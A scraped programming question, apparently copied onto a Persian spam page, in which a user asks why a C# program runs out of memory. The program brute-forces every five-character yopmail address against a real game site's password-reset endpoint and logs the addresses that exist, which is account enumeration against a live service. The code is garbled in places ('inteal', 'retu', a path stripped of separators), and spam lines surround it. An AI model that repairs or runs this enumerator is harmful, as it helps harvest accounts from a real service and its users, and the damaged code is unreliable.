C# Memory issue with webrequest

خرید بک لینک

My problem is that it is using way too much memory. It will start low then creep up to like 34% usage => outofmemory exception.

I'm not sure how to make it get rid of the memory used, or just make it use a lot less. I'm really unsure!

code:

using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace Kek
{
    inteal class Program
    {
        private static void Main(string[] args)
        {
            Program p = new Program();
            p.StartYopForce();

            Console.ReadKey();
        }

        private readonly object syncRoot = new object();

        public void loadUrlThreadMethodMail(string email)
        {
            Console.Title = "r" + email;

            var request = (HttpWebRequest)WebRequest.Create("http://www.realmofthemadgod.com/account/forgotPassword?guid=" + email + "@yopmail.com");

            using (var response = (HttpWebResponse)request.GetResponse())
            {
                if (response.ToString() == "<Success/>")
                {
                    Console.WriteLine($"[{DateTime.Now}] Found: " + email + "@yopmail.com");

                    lock (syncRoot)
                    {
                        using (StreamWriter sw = File.AppendText(@"C:UsersBaileyDesktopListsyop.txt"))
                        {
                            sw.WriteLine(email + "@yopmail.com");
                            sw.Close();
                        }
                    }
                }
            }
        }

        public void StartYopForce()

        {
            Bruteforce b = new Bruteforce();

            b.charset = "abcdefghijklmnopqrstuvwxyz1234567890";
            b.min = 5;
            b.max = 5;

            foreach (string i in b)
            {
                Task.Factory.StartNew(() =>
                {
                    loadUrlThreadMethodMail(i);
                });
            }
        }
    }
}

inteal class Bruteforce : IEnumerable
{
    #region constructors

    private StringBuilder sb = new StringBuilder();

    //the string we want to permutate
    public string charset = "abcdefghijklmnopqrstuvwxyz";

    private ulong len;
    private int _max;
    public int max { get { retu _max; } set { _max = value; } }
    private int _min;
    public int min { get { retu _min; } set { _min = value; } }

    #endregion constructors

    #region Methods

    public System.Collections.IEnumerator GetEnumerator()
    {
        len = (ulong)this.charset.Length;
        for (double x = min; x <= max; x++)
        {
            ulong total = (ulong)Math.Pow((double)charset.Length, (double)x);
            ulong counter = 0;
            while (counter < total)
            {
                string a = factoradic(counter, x - 1);
                yield retu a;
                counter++;
            }
        }
    }

    private string factoradic(ulong l, double power)
    {
        sb.Length = 0;
        while (power >= 0)
        {
            sb = sb.Append(this.charset[(int)(l % len)]);
            l /= len;
            power--;
        }
        retu sb.ToString();
    }

    #endregion Methods
}

Recent Questions...

ما را در سایت Recent Questions دنبال می‌کنید

برچسب: نویسنده: استخدام کار بازدید: 201 تاريخ: دوشنبه 3 خرداد 1395 ساعت: 3:40

صفحه بندی